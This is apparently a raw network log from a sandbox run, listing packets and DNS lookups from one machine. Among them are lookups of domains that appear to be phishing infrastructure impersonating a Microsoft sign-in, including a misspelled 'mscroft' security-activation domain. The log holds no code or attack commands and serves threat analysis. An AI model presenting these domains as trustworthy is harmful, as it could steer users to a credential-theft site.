Jan 14, 2025 15:24:13.339880943 CET	443	49776	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:13.340246916 CET	443	49776	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:13.340807915 CET	49776	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:13.340882063 CET	443	49776	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:13.340964079 CET	49776	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:13.376899004 CET	443	49775	152.199.21.175	192.168.2.7
Jan 14, 2025 15:24:13.377192974 CET	49775	443	192.168.2.7	152.199.21.175
Jan 14, 2025 15:24:13.377221107 CET	443	49775	152.199.21.175	192.168.2.7
Jan 14, 2025 15:24:13.378240108 CET	443	49775	152.199.21.175	192.168.2.7
Jan 14, 2025 15:24:13.378309011 CET	49775	443	192.168.2.7	152.199.21.175
Jan 14, 2025 15:24:13.378732920 CET	49775	443	192.168.2.7	152.199.21.175
Jan 14, 2025 15:24:13.378792048 CET	443	49775	152.199.21.175	192.168.2.7
Jan 14, 2025 15:24:13.378922939 CET	49775	443	192.168.2.7	152.199.21.175
Jan 14, 2025 15:24:13.378930092 CET	443	49775	152.199.21.175	192.168.2.7
Jan 14, 2025 15:24:13.383344889 CET	443	49776	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:13.426714897 CET	49775	443	192.168.2.7	152.199.21.175
Jan 14, 2025 15:24:13.477396011 CET	443	49776	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:13.477473021 CET	443	49776	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:13.477556944 CET	49776	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:13.492484093 CET	49776	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:13.492508888 CET	443	49776	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:13.630510092 CET	443	49775	152.199.21.175	192.168.2.7
Jan 14, 2025 15:24:13.630583048 CET	443	49775	152.199.21.175	192.168.2.7
Jan 14, 2025 15:24:13.630649090 CET	49775	443	192.168.2.7	152.199.21.175
Jan 14, 2025 15:24:13.630665064 CET	443	49775	152.199.21.175	192.168.2.7
Jan 14, 2025 15:24:13.630717039 CET	49775	443	192.168.2.7	152.199.21.175
Jan 14, 2025 15:24:13.643384933 CET	49775	443	192.168.2.7	152.199.21.175
Jan 14, 2025 15:24:13.643409014 CET	443	49775	152.199.21.175	192.168.2.7
Jan 14, 2025 15:24:16.594063044 CET	443	49708	104.98.116.138	192.168.2.7
Jan 14, 2025 15:24:16.594137907 CET	49708	443	192.168.2.7	104.98.116.138
Jan 14, 2025 15:24:18.175731897 CET	443	49751	104.18.94.41	192.168.2.7
Jan 14, 2025 15:24:18.175817013 CET	443	49751	104.18.94.41	192.168.2.7
Jan 14, 2025 15:24:18.175966024 CET	49751	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:24:18.406297922 CET	49751	443	192.168.2.7	104.18.94.41
Jan 14, 2025 15:24:18.406333923 CET	443	49751	104.18.94.41	192.168.2.7
Jan 14, 2025 15:24:18.653778076 CET	443	49752	104.21.112.1	192.168.2.7
Jan 14, 2025 15:24:18.653865099 CET	443	49752	104.21.112.1	192.168.2.7
Jan 14, 2025 15:24:18.653959990 CET	49752	443	192.168.2.7	104.21.112.1
Jan 14, 2025 15:24:20.405993938 CET	49752	443	192.168.2.7	104.21.112.1
Jan 14, 2025 15:24:20.406030893 CET	443	49752	104.21.112.1	192.168.2.7
Jan 14, 2025 15:24:23.164863110 CET	49778	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:23.164920092 CET	443	49778	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:23.165020943 CET	49778	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:23.165498972 CET	49778	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:23.165513992 CET	443	49778	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:23.666512966 CET	443	49778	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:23.666939020 CET	49778	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:23.666968107 CET	443	49778	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:23.667447090 CET	443	49778	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:23.667802095 CET	49778	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:23.667879105 CET	443	49778	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:23.668026924 CET	49778	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:23.711332083 CET	443	49778	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:27.146506071 CET	443	49778	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:27.146605968 CET	443	49778	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:27.146759987 CET	49778	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:27.147219896 CET	49778	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:27.147238970 CET	443	49778	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:27.150871038 CET	49779	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:27.150927067 CET	443	49779	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:27.151006937 CET	49779	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:27.151246071 CET	49779	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:27.151262999 CET	443	49779	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:27.646420956 CET	443	49779	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:27.646738052 CET	49779	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:27.646754026 CET	443	49779	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:27.647229910 CET	443	49779	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:27.647742033 CET	49779	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:27.647826910 CET	443	49779	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:27.647958040 CET	49779	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:27.691339016 CET	443	49779	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:27.780255079 CET	443	49779	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:27.780344009 CET	443	49779	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:27.780416965 CET	49779	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:27.781342983 CET	49779	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:27.781363964 CET	443	49779	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:35.176589966 CET	49781	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:35.176661015 CET	443	49781	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:35.176733971 CET	49781	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:35.177195072 CET	49781	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:35.177208900 CET	443	49781	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:35.677670002 CET	443	49781	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:35.678145885 CET	49781	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:35.678172112 CET	443	49781	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:35.678591013 CET	443	49781	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:35.678917885 CET	49781	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:35.678996086 CET	443	49781	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:35.679069042 CET	49781	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:35.719341993 CET	443	49781	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:35.812689066 CET	443	49781	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:35.812788010 CET	443	49781	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:35.812839031 CET	49781	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:35.814081907 CET	49781	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:35.814097881 CET	443	49781	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:35.818272114 CET	49782	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:35.818326950 CET	443	49782	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:35.818401098 CET	49782	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:35.818679094 CET	49782	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:35.818697929 CET	443	49782	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:36.276133060 CET	49783	443	192.168.2.7	216.58.206.36
Jan 14, 2025 15:24:36.276182890 CET	443	49783	216.58.206.36	192.168.2.7
Jan 14, 2025 15:24:36.276314974 CET	49783	443	192.168.2.7	216.58.206.36
Jan 14, 2025 15:24:36.276546001 CET	49783	443	192.168.2.7	216.58.206.36
Jan 14, 2025 15:24:36.276565075 CET	443	49783	216.58.206.36	192.168.2.7
Jan 14, 2025 15:24:36.335956097 CET	443	49782	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:36.336342096 CET	49782	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:36.336361885 CET	443	49782	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:36.336730957 CET	443	49782	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:36.337059975 CET	49782	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:36.337130070 CET	443	49782	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:36.337233067 CET	49782	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:36.379333973 CET	443	49782	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:36.380057096 CET	49782	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:36.481092930 CET	443	49782	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:36.481177092 CET	443	49782	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:36.481259108 CET	49782	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:36.482402086 CET	49782	443	192.168.2.7	69.49.230.198
Jan 14, 2025 15:24:36.482424021 CET	443	49782	69.49.230.198	192.168.2.7
Jan 14, 2025 15:24:36.914340019 CET	443	49783	216.58.206.36	192.168.2.7
Jan 14, 2025 15:24:36.914721012 CET	49783	443	192.168.2.7	216.58.206.36
Jan 14, 2025 15:24:36.914757013 CET	443	49783	216.58.206.36	192.168.2.7
Jan 14, 2025 15:24:36.915092945 CET	443	49783	216.58.206.36	192.168.2.7
Jan 14, 2025 15:24:36.915410995 CET	49783	443	192.168.2.7	216.58.206.36
Jan 14, 2025 15:24:36.915478945 CET	443	49783	216.58.206.36	192.168.2.7
Jan 14, 2025 15:24:36.965585947 CET	49783	443	192.168.2.7	216.58.206.36
Jan 14, 2025 15:24:46.827881098 CET	443	49783	216.58.206.36	192.168.2.7
Jan 14, 2025 15:24:46.827969074 CET	443	49783	216.58.206.36	192.168.2.7
Jan 14, 2025 15:24:46.828044891 CET	49783	443	192.168.2.7	216.58.206.36
Jan 14, 2025 15:24:48.405388117 CET	49783	443	192.168.2.7	216.58.206.36
Jan 14, 2025 15:24:48.405441999 CET	443	49783	216.58.206.36	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 15:23:32.230814934 CET	53	49703	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:32.239830017 CET	53	65525	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:33.459410906 CET	53	59206	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:36.217700005 CET	49377	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:23:36.217875004 CET	59297	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:23:36.224870920 CET	53	59297	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:36.224896908 CET	53	49377	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:37.729177952 CET	56834	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:23:37.729424000 CET	56407	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:23:38.774503946 CET	59629	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:23:38.774610043 CET	64909	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:23:38.781826019 CET	53	59629	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:38.782129049 CET	53	64909	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:43.596055984 CET	57942	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:23:43.596204042 CET	52599	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:23:43.607232094 CET	53	57942	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:43.607805967 CET	53	52599	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:44.549345970 CET	61786	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:23:44.549698114 CET	50940	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:23:44.563616037 CET	53	50940	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:44.564502001 CET	53	61786	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:45.866452932 CET	50648	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:23:45.866966009 CET	49309	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:23:45.873761892 CET	53	50648	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:45.874278069 CET	53	49309	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:47.178328991 CET	61048	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:23:47.178476095 CET	57859	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:23:47.185118914 CET	53	57859	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:47.185154915 CET	53	61048	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:47.212049007 CET	60954	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:23:47.212347031 CET	50928	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:23:47.218841076 CET	53	60954	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:47.219166994 CET	53	50928	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:49.085171938 CET	54060	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:23:49.085454941 CET	55508	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:23:49.091986895 CET	53	54060	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:49.093023062 CET	53	55508	1.1.1.1	192.168.2.7
Jan 14, 2025 15:23:50.523379087 CET	53	49679	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:04.415117979 CET	61133	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:04.415411949 CET	53441	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:04.416023016 CET	55522	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:04.416176081 CET	52380	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:04.416522026 CET	56332	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:04.416681051 CET	56011	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:04.418329000 CET	58684	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:04.418457031 CET	58235	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:04.418854952 CET	53228	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:04.418979883 CET	51097	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:04.421735048 CET	53	61133	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:04.423249960 CET	53	53441	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:04.423268080 CET	53	52380	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:04.423279047 CET	53	56332	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:04.423289061 CET	53	55522	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:04.423722029 CET	53	56011	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:04.425139904 CET	53	58684	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:04.425262928 CET	53	58404	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:04.425797939 CET	53	58235	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:04.584139109 CET	53	51097	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:04.870827913 CET	53	53228	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:05.125209093 CET	52131	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:05.125580072 CET	56033	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:05.132174015 CET	53	52131	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:05.132807970 CET	53	56033	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:05.144390106 CET	55262	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:05.144515991 CET	64838	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:05.151106119 CET	53	55262	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:05.151395082 CET	53	64838	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:05.193387985 CET	56078	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:05.193737030 CET	58491	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:05.200076103 CET	53	56078	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:05.200731039 CET	53	58491	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:05.206646919 CET	60659	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:05.206784964 CET	61456	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:05.215358019 CET	53	61456	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:05.215375900 CET	53	60659	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:05.591401100 CET	53	56396	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:07.325340986 CET	58827	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:07.325493097 CET	52661	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:07.329818010 CET	53645	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:07.329993963 CET	64308	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:07.522608042 CET	53	52661	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:07.543859005 CET	53	64308	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:07.544032097 CET	53	53645	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:07.767715931 CET	53	58827	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:08.441823959 CET	55340	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:08.442034006 CET	54145	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:08.654196024 CET	53	55340	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:08.851550102 CET	53	54145	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:09.489053965 CET	53	52601	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:10.346374035 CET	138	138	192.168.2.7	192.168.2.255
Jan 14, 2025 15:24:11.474169970 CET	53920	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:11.474556923 CET	52047	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:11.481178999 CET	53	52047	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:11.481194973 CET	53	53920	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:11.588881969 CET	53	58499	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:12.552762032 CET	50037	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:12.559535027 CET	53	50037	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:12.569719076 CET	49631	53	192.168.2.7	1.1.1.1
Jan 14, 2025 15:24:12.578743935 CET	53	49631	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:31.809777021 CET	53	53193	1.1.1.1	192.168.2.7
Jan 14, 2025 15:24:32.288003922 CET	53	54317	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 14, 2025 15:24:08.851638079 CET	192.168.2.7	1.1.1.1	c250	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 15:23:36.217700005 CET	192.168.2.7	1.1.1.1	0xe5e4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:36.217875004 CET	192.168.2.7	1.1.1.1	0x971e	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 14, 2025 15:23:37.729177952 CET	192.168.2.7	1.1.1.1	0xf179	Standard query (0)	www.tiktok.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:37.729424000 CET	192.168.2.7	1.1.1.1	0x1890	Standard query (0)	www.tiktok.com	65	IN (0x0001)	false
Jan 14, 2025 15:23:38.774503946 CET	192.168.2.7	1.1.1.1	0x42d8	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:38.774610043 CET	192.168.2.7	1.1.1.1	0x2356	Standard query (0)	google.com	65	IN (0x0001)	false
Jan 14, 2025 15:23:43.596055984 CET	192.168.2.7	1.1.1.1	0xff78	Standard query (0)	jobuli.in	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:43.596204042 CET	192.168.2.7	1.1.1.1	0x1d0e	Standard query (0)	jobuli.in	65	IN (0x0001)	false
Jan 14, 2025 15:23:44.549345970 CET	192.168.2.7	1.1.1.1	0xf4f0	Standard query (0)	automtionmscroftsecurityactivation-authenic.appfilevault.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:44.549698114 CET	192.168.2.7	1.1.1.1	0x5fe6	Standard query (0)	automtionmscroftsecurityactivation-authenic.appfilevault.com	65	IN (0x0001)	false
Jan 14, 2025 15:23:45.866452932 CET	192.168.2.7	1.1.1.1	0x1982	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:45.866966009 CET	192.168.2.7	1.1.1.1	0x38a4	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 15:23:47.178328991 CET	192.168.2.7	1.1.1.1	0x1e9b	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:47.178476095 CET	192.168.2.7	1.1.1.1	0x2e1e	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 15:23:47.212049007 CET	192.168.2.7	1.1.1.1	0xe1b0	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:47.212347031 CET	192.168.2.7	1.1.1.1	0x71ec	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 15:23:49.085171938 CET	192.168.2.7	1.1.1.1	0x3dac	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:49.085454941 CET	192.168.2.7	1.1.1.1	0x8515	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 15:24:04.415117979 CET	192.168.2.7	1.1.1.1	0xb7d8	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.415411949 CET	192.168.2.7	1.1.1.1	0x8e59	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 14, 2025 15:24:04.416023016 CET	192.168.2.7	1.1.1.1	0x2350	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.416176081 CET	192.168.2.7	1.1.1.1	0xb2ee	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 15:24:04.416522026 CET	192.168.2.7	1.1.1.1	0xf2e7	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.416681051 CET	192.168.2.7	1.1.1.1	0x42d3	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Jan 14, 2025 15:24:04.418329000 CET	192.168.2.7	1.1.1.1	0x89bb	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.418457031 CET	192.168.2.7	1.1.1.1	0xba51	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Jan 14, 2025 15:24:04.418854952 CET	192.168.2.7	1.1.1.1	0x3a13	Standard query (0)	5863941096-1323985617.cos.ap-singapore.myqcloud.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:04.418979883 CET	192.168.2.7	1.1.1.1	0xd202	Standard query (0)	5863941096-1323985617.cos.ap-singapore.myqcloud.com	65	IN (0x0001)	false
Jan 14, 2025 15:24:05.125209093 CET	192.168.2.7	1.1.1.1	0x28b2	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:05.125580072 CET	192.168.2.7	1.1.1.1	0x7b7e	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Jan 14, 2025 15:24:05.144390106 CET	192.168.2.7	1.1.1.1	0xce18	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:05.144515991 CET	192.168.2.7	1.1.1.1	0xa6f5	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 15:24:05.193387985 CET	192.168.2.7	1.1.1.1	0xafae	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:05.193737030 CET	192.168.2.7	1.1.1.1	0xb9a0	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 14, 2025 15:24:05.206646919 CET	192.168.2.7	1.1.1.1	0x18a1	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:05.206784964 CET	192.168.2.7	1.1.1.1	0x63a8	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Jan 14, 2025 15:24:07.325340986 CET	192.168.2.7	1.1.1.1	0x573a	Standard query (0)	5863941096-1323985617.cos.ap-singapore.myqcloud.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:07.325493097 CET	192.168.2.7	1.1.1.1	0x1fd9	Standard query (0)	5863941096-1323985617.cos.ap-singapore.myqcloud.com	65	IN (0x0001)	false
Jan 14, 2025 15:24:07.329818010 CET	192.168.2.7	1.1.1.1	0x597e	Standard query (0)	5863941096.legalbusinessfederal.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:07.329993963 CET	192.168.2.7	1.1.1.1	0x35fe	Standard query (0)	5863941096.legalbusinessfederal.com	65	IN (0x0001)	false
Jan 14, 2025 15:24:08.441823959 CET	192.168.2.7	1.1.1.1	0xae80	Standard query (0)	5863941096.legalbusinessfederal.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:08.442034006 CET	192.168.2.7	1.1.1.1	0xa560	Standard query (0)	5863941096.legalbusinessfederal.com	65	IN (0x0001)	false
Jan 14, 2025 15:24:11.474169970 CET	192.168.2.7	1.1.1.1	0x8b5b	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:11.474556923 CET	192.168.2.7	1.1.1.1	0x869c	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 14, 2025 15:24:12.552762032 CET	192.168.2.7	1.1.1.1	0x603c	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:24:12.569719076 CET	192.168.2.7	1.1.1.1	0xaffc	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 15:23:36.224870920 CET	1.1.1.1	192.168.2.7	0x971e	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 14, 2025 15:23:36.224896908 CET	1.1.1.1	192.168.2.7	0xe5e4	No error (0)	www.google.com		216.58.206.36	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:37.736330032 CET	1.1.1.1	192.168.2.7	0x1890	No error (0)	www.tiktok.com	www.tiktok.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:23:37.736562967 CET	1.1.1.1	192.168.2.7	0xf179	No error (0)	www.tiktok.com	www.tiktok.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:23:38.781826019 CET	1.1.1.1	192.168.2.7	0x42d8	No error (0)	google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:38.782129049 CET	1.1.1.1	192.168.2.7	0x2356	No error (0)	google.com			65	IN (0x0001)	false
Jan 14, 2025 15:23:43.607232094 CET	1.1.1.1	192.168.2.7	0xff78	No error (0)	jobuli.in		103.83.194.55	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:23:44.563616037 CET	1.1.1.1	192.168.2.7	0x5fe6	No error (0)	automtionmscroftsecurityactivation-authenic.appfilevault.com			65	IN (0x0001)	false
Jan 14, 2025 15:23:44.564502001 CET	1.1.1.1	192.168.2.7	0xf4f0	No error (0)	automtionmscroftsecurityactivation-authenic.appfilevault.com		104.21.112.1	A (IP address)	IN (0x0001)	false
